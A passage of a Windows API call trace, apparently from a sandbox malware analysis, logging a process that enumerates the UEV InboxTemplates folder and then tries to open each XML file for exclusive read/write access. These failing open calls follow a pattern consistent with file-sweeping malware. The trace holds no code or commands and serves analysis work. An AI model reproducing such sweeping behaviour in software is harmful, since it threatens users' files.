ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThemeSettings2013.xml", cAlternateFileName="")) returned 1 [0075.681] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VdiState.xml", cAlternateFileName="")) returned 1 [0075.681] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0075.681] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0075.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0075.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0075.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0075.682] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates", lpFilePart=0x0) returned 0x2b [0075.682] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0075.683] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46867b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe825779a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.683] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4771, dwReserved0=0x0, dwReserved1=0x0, cFileName="DesktopSettings2013.xml", cAlternateFileName="")) returned 1 [0075.683] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x173d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EaseOfAccessSettings2013.xml", cAlternateFileName="")) returned 1 [0075.683] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc27, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftInternetExplorer2013.xml", cAlternateFileName="")) returned 1 [0075.684] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftInternetExplorer2013Backup.xml", cAlternateFileName="")) returned 1 [0075.684] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2010.xml", cAlternateFileName="")) returned 1 [0075.684] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2013Win32.xml", cAlternateFileName="")) returned 1 [0075.684] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2013Win64.xml", cAlternateFileName="")) returned 1 [0075.684] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftNotepad.xml", cAlternateFileName="")) returned 1 [0075.685] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2010Win32.xml", cAlternateFileName="")) returned 1 [0075.685] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2010Win64.xml", cAlternateFileName="")) returned 1 [0075.685] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013BackupWin32.xml", cAlternateFileName="")) returned 1 [0075.685] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013BackupWin64.xml", cAlternateFileName="")) returned 1 [0075.685] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Office365Win32.xml", cAlternateFileName="")) returned 1 [0075.685] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Office365Win64.xml", cAlternateFileName="")) returned 1 [0075.686] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Win32.xml", cAlternateFileName="")) returned 1 [0075.686] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Win64.xml", cAlternateFileName="")) returned 1 [0075.686] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016BackupWin32.xml", cAlternateFileName="")) returned 1 [0075.686] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016BackupWin64.xml", cAlternateFileName="")) returned 1 [0075.686] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016Win32.xml", cAlternateFileName="")) returned 1 [0075.686] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016Win64.xml", cAlternateFileName="")) returned 1 [0075.687] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2013CAWin32.xml", cAlternateFileName="")) returned 1 [0075.687] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2013CAWin64.xml", cAlternateFileName="")) returned 1 [0075.687] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2016CAWin32.xml", cAlternateFileName="")) returned 1 [0075.687] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2016CAWin64.xml", cAlternateFileName="")) returned 1 [0075.687] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftSkypeForBusiness2016Win32.xml", cAlternateFileName="")) returned 1 [0075.687] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftSkypeForBusiness2016Win64.xml", cAlternateFileName="")) returned 1 [0075.687] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftWordpad.xml", cAlternateFileName="")) returned 1 [0075.688] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x85f, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkPrinters.xml", cAlternateFileName="")) returned 1 [0075.688] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingCredentialSettings.xml", cAlternateFileName="")) returned 1 [0075.688] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThemeSettings2013.xml", cAlternateFileName="")) returned 1 [0075.688] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VdiState.xml", cAlternateFileName="")) returned 1 [0075.688] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VdiState.xml", cAlternateFileName="")) returned 0 [0075.688] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0075.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0075.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0075.689] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml", lpFilePart=0x0) returned 0x43 [0075.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0075.689] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml"), fInfoLevelId=0x0, lpFileInformation=0x35604e8 | out: lpFileInformation=0x35604e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4771)) returned 1 [0075.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0075.692] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml", lpFilePart=0x0) returned 0x43 [0075.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0075.692] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\DesktopSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\desktopsettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0075.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0075.694] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml", lpFilePart=0x0) returned 0x48 [0075.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0075.694] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml"), fInfoLevelId=0x0, lpFileInformation=0x3560c90 | out: lpFileInformation=0x3560c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x173d)) returned 1 [0075.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0075.695] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml", lpFilePart=0x0) returned 0x48 [0075.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0075.695] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\EaseOfAccessSettings2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\easeofaccesssettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0075.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ea570) returned 1 [0075.697] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: 